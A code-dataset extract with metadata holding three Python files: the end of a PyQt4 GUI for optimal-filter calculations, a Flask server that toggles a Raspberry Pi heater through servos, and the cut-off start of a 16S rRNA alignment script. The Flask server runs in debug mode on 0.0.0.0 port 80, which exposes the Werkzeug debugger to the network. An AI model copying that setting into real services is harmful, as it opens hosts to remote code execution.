self.signals.error.emit((self.kwargs['dataset'], value,exctype, traceback.format_exc()))\n            worked=False\n        else:\n            pass\n            #self.signals.result.emit(result)  # Return the result of the processing\n        finally:\n            if worked:\n                self.signals.finished.emit((result,worked))  # Done\n            else:\n                self.signals.finished.emit(((self.kwargs['dataset'], 0, False, 0),worked))\n\n\n\nclass MainWindow(QtGui.QMainWindow):\n\n\n    def __init__(self, *args, **kwargs):\n        super(MainWindow, self).__init__(*args, **kwargs)\n\n        #make the folder finder button, display, filter type and plotting tool      \n        self.btn = QtGui.QPushButton('Find Folder', self)\n        self.btn.clicked.connect(self.getDirectory)\n        self.btn.setAutoDefault(False)\n\n        self.file_display=QtGui.QLineEdit(self)\n        self.file_display.setReadOnly(True)\n\n        self.comboBox=QtGui.QComboBox(self)\n        self.filterTypes=zip(*inspect.getmembers(mF, inspect.isfunction))\n        index0=0\n        for ind, filterType in enumerate(self.filterTypes[0]):\n            self.comboBox.addItem(filterType)\n            try:\n                smalldoc=self.filterTypes[1][ind].__doc__.split('\\n')\n                smalldoc=map(str.strip,smalldoc[1:])\n                smalldoc='\\n'.join(smalldoc)\n                smalldoc=smalldoc.split('\\n\\n')[0]\n                self.comboBox.setItemData(ind,smalldoc,QtCore.Qt.ToolTipRole)\n            except: pass\n            if filterType=='wienerFilter':\n                index0=ind\n        self.filterFunction=self.filterTypes[1][index0]\n        self.filterName=self.filterTypes[0][index0]\n        self.comboBox.setCurrentIndex(index0)\n        self.comboBox.currentIndexChanged.connect(self.change_filter)\n        \n        #plotting tool button\n        self.btn2=QtGui.QPushButton('Open Plotting Tool',self)\n        self.btn2.clicked.connect(self.openPlotting)\n        self.btn.setAutoDefault(False)\n        \n        #define filebar panel geometry\n        self.filebar = QtGui.QHBoxLayout()\n        self.filebar.addWidget(self.btn)\n        self.filebar.addWidget(self.file_display)\n        self.filebar.addWidget(self.comboBox)\n        self.filebar.addWidget(self.btn2)\n\n               \n        #define control panel geometry    \n        spacer=QtGui.QSpacerItem(350, 0)\n        \n        self.control=QtGui.QVBoxLayout()\n        self.control.addItem(spacer)\n\n\n        # set the layout\n        grid = QtGui.QGridLayout()\n        grid.addLayout(self.filebar,1,1,1,2)\n        grid.addLayout(self.control,2,1,3,2)\n\n        w=QtGui.QWidget()\n        w.setLayout(grid)\n        self.setCentralWidget(w)\n    \n        self.setGeometry(300, 30, 800, 400)\n        self.setWindowTitle('Optimal Filter GUI')\n\n\n        self.show()\n\n        self.threadpool = QtCore.QThreadPool()\n        print(\"Multithreading with maximum %d threads\" % self.threadpool.maxThreadCount())\n\n\n    def getDirectory(self):\n        #remove previous kill files if changing directories\n        if hasattr(self,'directory'):\n            for f in glob.glob(os.path.join(self.directory,'kill_processes*.txt')):\n                os.remove(f)\n        \n        #get directory\n        self.directory = str(QtGui.QFileDialog.getExistingDirectory(self, 'Select a folder:', \n                '/mnt/data0/Darkness',QtGui.QFileDialog.ShowDirsOnly))\n        self.file_display.setText(self.directory)\n        \n        #update control pannel with directories\n        self.subdirectories=[d for d in os.listdir(self.directory) if os.path.isdir(os.path.join(self.directory,d))]\n        \n        if len(self.subdirectories)>25:\n            raise(ValueError('Too many directories in chosen folder'))\n\n        #remove any previously created rows\n        if hasattr(self,'row'):\n            self.clearLayout(self.control)\n        #initialize row, label, check, run_button, kill_button, and progress\n        self.row=[]\n        self.row_label=[]\n        self.check=[]\n        self.run_button=[]\n        self.kill_button=[]\n        self.progress=[]\n                \n        #loop through folders\n        for index, directory in enumerate(self.subdirectories):            \n            #make row elements\n            self.row_label.append(QtGui.QLabel(directory+':'))\n\n            self.check.append(QtGui.QCheckBox(\"Continuing?\"))\n            \n            self.run_button.append(QtGui.QPushButton('Run', self))\n            self.run_button[index].clicked.connect(partial(self.run_filter,index))\n            self.run_button[index].setAutoDefault(False)\n            \n            self.kill_button.append(QtGui.QPushButton('Kill', self))\n            self.kill_button[index].clicked.connect(partial(self.kill_filter,index))\n            self.kill_button[index].setDisabled(True)\n\n            self.progress.append(QtGui.QLineEdit(self))\n            self.progress[index].setReadOnly(True)\n            \n            spacer=QtGui.QSpacerItem(50, 0)\n    \n            #add elements to row\n            self.row.append(QtGui.QHBoxLayout())\n            self.row[index].addWidget(self.row_label[index])\n            self.row[index].addItem(spacer)\n            self.row[index].addWidget(self.check[index])\n            self.row[index].addWidget(self.run_button[index])\n            self.row[index].addWidget(self.kill_button[index])\n            self.row[index].addWidget(self.progress[index])\n\n            #add row to control pannel\n            self.control.addLayout(self.row[index])\n            \n            #set warning text if filters already exist\n            if os.path.isfile(os.path.join(os.path.join(self.directory,directory),\"log_file.txt\")):\n                self.progress[index].setText(\"WARNING: Filters already exist for this dataset\")\n    \n            #create kill file for row\n            filename=os.path.join(self.directory,'kill_processes'+str(index)+'.txt')\n            np.savetxt(filename,np.array([0]))\n\n        #add last row for running everything\n        self.check_all=QtGui.QCheckBox(\"Check All\")\n        self.check_all.stateChanged.connect(self.check_all_boxes)\n\n        self.run_all=QtGui.QPushButton(\"Run All\",self)\n        self.run_all.clicked.connect(self.run_all_filters)\n        self.run_all.setAutoDefault(False)\n\n        self.kill_all=QtGui.QPushButton(\"Kill All\",self)\n        self.kill_all.clicked.connect(self.kill_all_filters)\n        self.kill_all.setAutoDefault(False)\n\n        self.recalculate_filters=QtGui.QPushButton(\"Recalculate Filters Only\")\n        self.recalculate_filters.clicked.connect(self.run_all_recalculations)\n        self.recalculate_filters.setAutoDefault(False)\n        \n        self.last_row=QtGui.QHBoxLayout()\n        self.last_row.addStretch()\n        self.last_row.addWidget(self.check_all)\n        self.last_row.addWidget(self.run_all)\n        self.last_row.addWidget(self.kill_all)\n        self.last_row.addWidget(self.recalculate_filters)\n        self.last_row.addStretch()\n        \n        self.control.addLayout(self.last_row)\n\n        #add final stretch        \n        self.control.addStretch()     \n        \n        #create is running attribute\n        self.isrunning=np.zeros(len(self.row),dtype=bool)\n\n    def kill_filter(self,index):\n        filename=os.path.join(self.directory,'kill_processes'+str(index)+'.txt')\n        working=False\n        while not working:\n            try:           \n                np.savetxt(filename,np.array([1]))\n                working=True\n            except:\n                time.sleep(0.1)\n\n    def progress_fn(self, n):\n        self.progress[n[1]].setText(\"{0}% done\".format(round(n[0],1)))\n    \n    def error_fn(self,n):\n        self.progress[n[0]].setText('error: ' + str(n[1]))\n\n    def thread_complete(self,results):\n        worked=results[1]\n        results=results[0]        \n    \n        #unlock run button\n        self.run_button[results[0]].setEnabled(True)\n        #lock kill button\n        self.kill_button[results[0]].setDisabled(True)       \n        \n        #print completion status\n        if results[2] and worked:\n            self.progress[results[0]].setText(\"Filters Complete after {0} minutes!\".format(round(results[1]/60.0,1)))\n        elif worked and not results[2]:\n            self.progress[results[0]].setText(\"Calculation Stopped at {0}% after {1} minutes!\".format(round(results[3],1),round(results[1]/60.0,1)))\n\n        #remove kill setting\n        filename=os.path.join(self.directory,'kill_processes'+str(results[0])+'.txt')\n        working=False\n        while not working:\n            try:         \n                np.savetxt(filename,np.array([0]))\n                working=True\n            except:\n                time.sleep(0.1)\n\n        self.isrunning[results[0]]=False \n        time.sleep(0.1)\n          \n    def run_filter(self,index,isAll=False):\n        #check if files exist\n        if (not isAll) and os.path.isfile(os.path.join(self.directory,self.subdirectories[index],self.filterName +'_coefficients.txt')) and (not self.check[index].isChecked()):\n            question=\"Filters of type '\" + self.filterName + \"' have already been calculated. Are you sure you would like to delete and restart?\"\n            answer=self.query_yes_no(question)\n            if not answer:\n                return\n\n        #clear text box\n        self.progress[index].setText('')\n        #grey out run button and make unresponsive       \n        self.run_button[index].setDisabled(True)\n        #unlock kill button\n        self.kill_button[index].setEnabled(True)        \n        \n        #set as running\n        self.isrunning[index]=True\n\n        # Pass the function to execute\n        path=os.path.join(self.directory,self.subdirectories[index])\n        worker = Worker(execute_filter_calcs,dataset=index, mainDirectory=self.directory, continuing=self.check[index].isChecked(), directory=path,filterMethod=self.filterFunction) \n        worker.signals.finished.connect(self.thread_complete)\n        worker.signals.progress.connect(self.progress_fn)\n        \n        # Execute\n        self.threadpool.start(worker)\n\n    def run_recalculation(self,index):\n        #clear text box\n        self.progress[index].setText('')\n        #grey out run button and make unresponsive       \n        self.run_button[index].setDisabled(True)\n        #unlock kill button\n        self.kill_button[index].setEnabled(True) \n\n        #set as running\n        self.isrunning[index]=True\n\n        # Pass the function to execute\n        path=os.path.join(self.directory,self.subdirectories[index])\n        worker = Worker(execute_filters_only,dataset=index, mainDirectory=self.directory, directory=path,filterMethod=self.filterFunction) \n        worker.signals.finished.connect(self.thread_complete)\n        worker.signals.progress.connect(self.progress_fn)\n        worker.signals.error.connect(self.error_fn)\n        \n        # Execute\n        self.threadpool.start(worker)\n\n    def run_all_recalculations(self):\n        for index, row in enumerate(self.row):\n            if not self.isrunning[index]:\n                self.run_recalculation(index) \n\n    def run_all_filters(self):\n        #check if files exist\n        logic=False\n        for index,subdirectory in enumerate(self.subdirectories):\n            logic=logic or (os.path.isfile(os.path.join(self.directory,subdirectory,self.filterName +'_coefficients.txt')) and (not self.check[index].isChecked()))\n        if logic:\n            question=\"Filters of type '\" + self.filterName + \"' have already been calculated for some folders. Are you sure you would like to delete and restart?\"\n            answer=self.query_yes_no(question)\n            if not answer:\n                return\n        for index, row in enumerate(self.row):\n            if not self.isrunning[index]:\n                self.run_filter(index, isAll=True)\n\n    def check_all_boxes(self):\n        for index, row in enumerate(self.row):\n            if self.check_all.checkState():\n                self.check[index].setChecked(True)\n            else:\n                self.check[index].setChecked(False)\n\n    def kill_all_filters(self):\n        for index, row in enumerate(self.row):\n            if self.isrunning[index]:\n                self.kill_filter(index)\n                time.sleep(0.1)\n\n    def closeEvent(self,event):\n        if hasattr(self,'directory'):\n            for f in glob.glob(os.path.join(self.directory,'kill_processes*.txt')):\n                os.remove(f)\n        \n    def clearLayout(self, layout):\n        if layout is not None:\n            while layout.count():\n                item = layout.takeAt(0)\n                widget = item.widget()\n                if widget is not None:\n                    widget.deleteLater()\n                else:\n                    self.clearLayout(item.layout())\n    def openPlotting(self):\n        os.system(\"python plotFiltersGUI.py &\")\n    def change_filter(self,index):\n        self.filterFunction=self.filterTypes[1][index]\n        self.filterName=self.filterTypes[0][index]\n    def query_yes_no(self,question):\n        choice = QtGui.QMessageBox.question(self, 'Answer before continuing',\n                                            question,\n                                            QtGui.QMessageBox.Yes | QtGui.QMessageBox.No)\n        if choice == QtGui.QMessageBox.Yes:\n            return True\n        else:\n            return False\n \ndef execute_filter_calcs(progress_callback=[],dataset=[],mainDirectory=[],directory=[],continuing=False,filterMethod=mF.wienerFilter):\n    defaultTemplate=np.loadtxt('template200_15us.txt') #change default template here\n    result=pD.processData(directory,defaultTemplate,GUI=True, progress_callback=progress_callback, dataset=dataset, mainDirectory=mainDirectory, continuing=continuing,filterMethod=filterMethod)    \n    return result   \n\ndef execute_filters_only(filterCode=[],progress_callback=[],dataset=[],mainDirectory=[],directory=[],filterMethod=mF.wienerFilter): \n    result=pD.recalculate_filters(directory,filterMethod,GUI=True, progress_callback=progress_callback, dataset=dataset, mainDirectory=mainDirectory)    \n    return result   \n\napp = QtGui.QApplication([])\nwindow = MainWindow()\napp.exec_()\n\n", "repo_name": "MazinLab/MKIDReadout", "sub_path": "mkidreadout/configuration/optimalfilters/old/optimalFilterGUI.py", "file_name": "optimalFilterGUI.py", "file_ext": "py", "file_size_in_byte": 16263, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PyQt4.QtCore.QObject", "line_number": 17, "usage_type": "attribute"}, {"api_name": "PyQt4.QtCore", "line_number": 17, "usage_type": "name"}, {"api_name": "PyQt4.QtCore.pyqtSignal", "line_number": 36, "usage_type": "call"}, {"api_name": "PyQt4.QtCore", "line_number": 36, "usage_type": "name"}, {"api_name": "PyQt4.QtCore.pyqtSignal", "line_number": 37, "usage_type": "call"}, {"api_name": "PyQt4.QtCore", "line_number": 37, "usage_type": "name"}, {"api_name": "PyQt4.QtCore.pyqtSignal", "line_number": 38, "usage_type": "call"}, {"api_name": "PyQt4.QtCore", "line_number": 38, "usage_type": "name"}, {"api_name": "PyQt4.QtCore.pyqtSignal", "line_number": 39, "usage_type": "call"}, {"api_name": "PyQt4.QtCore", "line_number": 39, "usage_type": "name"}, {"api_name": "PyQt4.QtCore.pyqtSignal", "line_number": 40, "usage_type": "call"}, {"api_name": "PyQt4.QtCore", "line_number": 40, "usage_type": "name"}, {"api_name": "PyQt4.QtCore.QRunnable", "line_number": 43, "usage_type": "attribute"}, {"api_name": "PyQt4.QtCore", "line_number": 43, "usage_type": "name"}, {"api_name": "sys.exc_info", "line_number": 80, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 81, "usage_type": "call"}, {"api_name": "PyQt4.QtCore.pyqtSlot", "line_number": 68, "usage_type": "call"}, {"api_name": "PyQt4.QtCore", "line_number": 68, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QMainWindow", "line_number": 94, "usage_type": "attribute"}, {"api_name": "PyQt4.QtGui", "line_number": 94, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QPushButton", "line_number": 101, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 101, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QLineEdit", "line_number": 105, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 105, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QComboBox", "line_number": 108, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 108, "usage_type": "name"}, {"api_name": "inspect.getmembers", "line_number": 109, "usage_type": "call"}, {"api_name": "inspect.isfunction", "line_number": 109, "usage_type": "attribute"}, {"api_name": "PyQt4.QtCore.Qt", "line_number": 118, "usage_type": "attribute"}, {"api_name": "PyQt4.QtCore", "line_number": 118, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QPushButton", "line_number": 128, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 128, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QHBoxLayout", "line_number": 133, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 133, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QSpacerItem", "line_number": 141, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 141, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QVBoxLayout", "line_number": 143, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 143, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QGridLayout", "line_number": 148, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 148, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QWidget", "line_number": 152, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 152, "usage_type": "name"}, {"api_name": "PyQt4.QtCore.QThreadPool", "line_number": 162, "usage_type": "call"}, {"api_name": "PyQt4.QtCore", "line_number": 162, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 169, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 169, "usage_type": "call"}, {"api_name": "os.path", "line_number": 169, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 170, "usage_type": "call"}, {"api_name": "PyQt4.QtGui.QFileDialog.getExistingDirectory", "line_number": 173, "usage_type": "call"}, {"api_name": "PyQt4.QtGui.QFileDialog", "line_number": 173, "usage_type": "attribute"}, {"api_name": "PyQt4.QtGui", "line_number": 173, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QFileDialog", "line_number": 174, "usage_type": "attribute"}, {"api_name": "PyQt4.QtGui", "line_number": 174, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 178, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 178, "usage_type": "call"}, {"api_name": "os.path", "line_number": 178, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 178, "usage_type": "call"}, {"api_name": "PyQt4.QtGui.QLabel", "line_number": 197, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 197, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QCheckBox", "line_number": 199, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 199, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QPushButton", "line_number": 201, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 201, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 202, "usage_type": "call"}, {"api_name": "PyQt4.QtGui.QPushButton", "line_number": 205, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 205, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 206, "usage_type": "call"}, {"api_name": "PyQt4.QtGui.QLineEdit", "line_number": 209, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 209, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QSpacerItem", "line_number": 212, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 212, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QHBoxLayout", "line_number": 215, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 215, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 227, "usage_type": "call"}, {"api_name": "os.path", "line_number": 227, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 227, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 231, "usage_type": "call"}, {"api_name": "os.path", "line_number": 231, "usage_type": "attribute"}, {"api_name": "numpy.savetxt", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 232, "usage_type": "call"}, {"api_name": "PyQt4.QtGui.QCheckBox", "line_number": 235, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 235, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QPushButton", "line_number": 238, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 238, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QPushButton", "line_number": 242, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 242, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QPushButton", "line_number": 246, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 246, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QHBoxLayout", "line_number": 250, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 250, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 264, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 267, "usage_type": "call"}, {"api_name": "os.path", "line_number": 267, "usage_type": "attribute"}, {"api_name": "numpy.savetxt", "line_number": 271, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 271, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 274, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 298, "usage_type": "call"}, {"api_name": "os.path", "line_number": 298, "usage_type": "attribute"}, {"api_name": "numpy.savetxt", "line_number": 302, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 302, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 305, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 308, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 312, "usage_type": "call"}, {"api_name": "os.path", "line_number": 312, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 312, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 329, "usage_type": "call"}, {"api_name": "os.path", "line_number": 329, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 349, "usage_type": "call"}, {"api_name": "os.path", "line_number": 349, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 367, "usage_type": "call"}, {"api_name": "os.path", "line_number": 367, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 367, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 388, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 392, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 392, "usage_type": "call"}, {"api_name": "os.path", "line_number": 392, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 393, "usage_type": "call"}, {"api_name": "os.system", "line_number": 405, "usage_type": "call"}, {"api_name": "PyQt4.QtGui.QMessageBox.question", "line_number": 410, "usage_type": "call"}, {"api_name": "PyQt4.QtGui.QMessageBox", "line_number": 410, "usage_type": "attribute"}, {"api_name": "PyQt4.QtGui", "line_number": 410, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QMessageBox", "line_number": 412, "usage_type": "attribute"}, {"api_name": "PyQt4.QtGui", "line_number": 412, "usage_type": "name"}, {"api_name": "PyQt4.QtGui.QMessageBox", "line_number": 413, "usage_type": "attribute"}, {"api_name": "PyQt4.QtGui", "line_number": 413, "usage_type": "name"}, {"api_name": "makeFilters.wienerFilter", "line_number": 418, "usage_type": "attribute"}, {"api_name": "numpy.loadtxt", "line_number": 419, "usage_type": "call"}, {"api_name": "processData.processData", "line_number": 420, "usage_type": "call"}, {"api_name": "makeFilters.wienerFilter", "line_number": 423, "usage_type": "attribute"}, {"api_name": "processData.recalculate_filters", "line_number": 424, "usage_type": "call"}, {"api_name": "PyQt4.QtGui.QApplication", "line_number": 427, "usage_type": "call"}, {"api_name": "PyQt4.QtGui", "line_number": 427, "usage_type": "name"}]}
{"seq_id": "27323348998", "text": "#!/bin/env python\nimport RPi.GPIO as GPIO\nimport Adafruit_DHT\nimport time\nfrom datetime import datetime\nfrom flask import Flask, render_template, jsonify, request\n\nheater_status = {\"power\": False, 'heat': False, 'temp':0, 'hum':0}\napp = Flask(__name__)\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef main_page():\n    update_temp_hum()\n    if request.method == 'POST':\n        return get_heater_status()\n    else:\n        curr_time = datetime.now().strftime(\"%Y/%m/%d %H:%M:%S\")\n        return render_template('app.html', heater_status=heater_status, curr_time=curr_time)\n\ndef update_temp_hum():\n    sensor = Adafruit_DHT.DHT22\n    pin = 22\n    hum, temp = Adafruit_DHT.read_retry(sensor, pin)\n    heater_status['temp'] = round(temp, 2)\n    heater_status['hum'] = round(hum, 2)\n\n@app.route('/toggle_power')\ndef toggle_power():\n    press_power_button()\n    heater_status['power'] = not heater_status['power']\n    if not heater_status['power']:\n        heater_status['heat'] = False\n    return get_heater_status()\n\n\n@app.route('/toggle_heat')\ndef toggle_heat():\n    if not heater_status['power']:\n        return get_heater_status()\n    else:\n        press_heat_button()\n        heater_status['heat'] = not heater_status['heat']\n        return get_heater_status()\n\n\ndef get_heater_status():\n    curr_time = datetime.now()\n    return jsonify({\"heater_status\": heater_status, \"time\": curr_time.strftime(\"%Y/%m/%d %H:%M:%S\")})\n\n\ndef press_power_button():\n    duty_cycle = 7.5\n    power_servo_pin = 17\n    GPIO.setmode(GPIO.BCM)\n    GPIO.setup(power_servo_pin, GPIO.OUT)\n    pwm_servo = GPIO.PWM(power_servo_pin, 50)\n    pwm_servo.start(duty_cycle)\n    pwm_servo.ChangeDutyCycle(duty_cycle)\n    time.sleep(0.2)\n    pwm_servo.ChangeDutyCycle(5)\n    time.sleep(0.3)\n    pwm_servo.ChangeDutyCycle(duty_cycle)\n    time.sleep(0.2)\n    GPIO.cleanup()\n\n\ndef press_heat_button():\n    duty_cycle = 7.5\n    warm_servo_pin = 27\n    GPIO.setmode(GPIO.BCM)\n    GPIO.setup(warm_servo_pin, GPIO.OUT)\n    pwm_servo = GPIO.PWM(warm_servo_pin, 50)\n    pwm_servo.start(duty_cycle)\n    pwm_servo.ChangeDutyCycle(duty_cycle)\n    time.sleep(0.2)\n    pwm_servo.ChangeDutyCycle(8.5)\n    time.sleep(0.3)\n    pwm_servo.ChangeDutyCycle(duty_cycle)\n    time.sleep(0.2)\n    GPIO.cleanup()\n\n\nif __name__ == '__main__':\n    app.run(threaded=True, debug=True, port=80, host='0.0.0.0')\n", "repo_name": "BaconRemovalUnit/Raspy", "sub_path": "HeaterControl/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 2345, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 15, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 15, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 19, "usage_type": "call"}, {"api_name": "Adafruit_DHT.DHT22", "line_number": 22, "usage_type": "attribute"}, {"api_name": "Adafruit_DHT.read_retry", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 48, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 49, "usage_type": "call"}, {"api_name": "RPi.GPIO.setmode", "line_number": 55, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 55, "usage_type": "name"}, {"api_name": "RPi.GPIO.BCM", "line_number": 55, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 56, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 56, "usage_type": "name"}, {"api_name": "RPi.GPIO.OUT", "line_number": 56, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.PWM", "line_number": 57, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 57, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 60, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 62, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 64, "usage_type": "call"}, {"api_name": "RPi.GPIO.cleanup", "line_number": 65, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 65, "usage_type": "name"}, {"api_name": "RPi.GPIO.setmode", "line_number": 71, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 71, "usage_type": "name"}, {"api_name": "RPi.GPIO.BCM", "line_number": 71, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 72, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 72, "usage_type": "name"}, {"api_name": "RPi.GPIO.OUT", "line_number": 72, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.PWM", "line_number": 73, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 73, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 76, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 78, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 80, "usage_type": "call"}, {"api_name": "RPi.GPIO.cleanup", "line_number": 81, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 81, "usage_type": "name"}]}
{"seq_id": "6855518208", "text": "from Bio import Entrez, SeqIO\n\nimport os\nimport sys\nimport multiprocessing\nimport datetime\n\nimport re\nimport math\nimport random\n\nfrom email_validator import validate_email, EmailNotValidError\n\nsys.setrecursionlimit(10000)    #再起深度の上限\n\nimport collections\nResult = collections.namedtuple(\"Result\", \"i1, i2, alignment, distance\")\nMatrices = collections.namedtuple(\"Matrices\", \"alignment, distance\")\nMS = collections.namedtuple(\"MS\", \"score, direction\")\n\n## 一致を+3pt、不一致を-1pt、ギャップを-2ptとする ##\nSC = lambda nucleotide1, nucleotide2: 3 if nucleotide1==nucleotide2 else -1\nGP = -2\n\ndef main():\n    Entrez.email = input_email()\n    \n    show_help()\n    rrn16S=[]\n    descriptions_list=[]\n    matrices = Matrices([],[])\n    clustering=None\n    while True:\n        term_input_list=[]\n        while True:\n            print('')\n            term_input = input(\"input: \")\n            if re.search(r'(\\w+\\([\\d\\s,]*\\))', term_input):\n                end = handle_command(term_input, descriptions_list, matrices, clustering)\n                if end: break\n                continue\n            term_input_list.append(term_input)\n        \n        for term_input in term_input_list:\n            gbids=[]\n            gbids = search_gbids(term_input)\n\n            random.shuffle(gbids)\n            \n            if len(gbids)==0: continue\n            \n            for gbid in gbids:\n                record = fetch_record(gbid)\n                seq = extract_16SrRNA(record)\n                if seq: break\n            \n            if seq == None:\n                print('')\n                print(term_input+\" doesn't heve 16S-rRNA data.\")\n                continue\n            \n            description = record.description.replace(', complete genome','')\n            descriptions_list.append(description)\n            rrn16S.append(seq)\n\n            print('')\n            print(str(len(rrn16S)-1)+'. '+description)\n            print(\"ID: \"+gbid)\n            print(\"16S rRNA sequence: \")\n            print(seq)\n        \n        if len(rrn16S)>1:\n            matrices, clustering = add_alignment(matrices, rrn16S, len(matrices.alignment)+1)\n            show_clustering(matrices.distance, clustering)\n\n#################\n# Handle inputs #\n#################\n\ndef input_email():\n    while True:\n        print('')\n        email = input(\"Input your email: \")\n        try:\n            v = validate_email(email)\n            return v[\"email\"]\n        except EmailNotValidError as e:\n            print(str(e))\n            continue\n    \ndef handle_command(term_input, descriptions_list, matrices, clustering):\n    command=re.findall(r'(\\w+)', term_input)[0]\n    arguments=re.findall(r'(\\d+)', (re.findall(r'(\\([\\d\\s,]*\\))', term_input)[0]))\n    try:\n        if   command=='nametable':\n            show_nametable(descriptions_list)\n        elif command=='sequence':\n            show_sequence(rrn16S, int(arguments[0]))\n        elif command=='alignment':\n            show_alignment(matrices, int(arguments[0]), int(arguments[1]))\n        elif command=='cluster':\n            show_clustering(matrices.distance, clustering)\n        elif command=='end':\n            return True\n        elif command=='save':\n            save_text(descriptions_list, matrices.distance)\n        elif command=='exit':\n            sys.exit()\n        else:\n            show_help()\n        return False\n    except:\n        show_help()\n        return False\n    \n############################\n# Fetch 16S-rRNA sequences #\n############################\n    \ndef search_gbids(term_input):\n    term_ = correct_spell(term_input)\n    \n    handle = 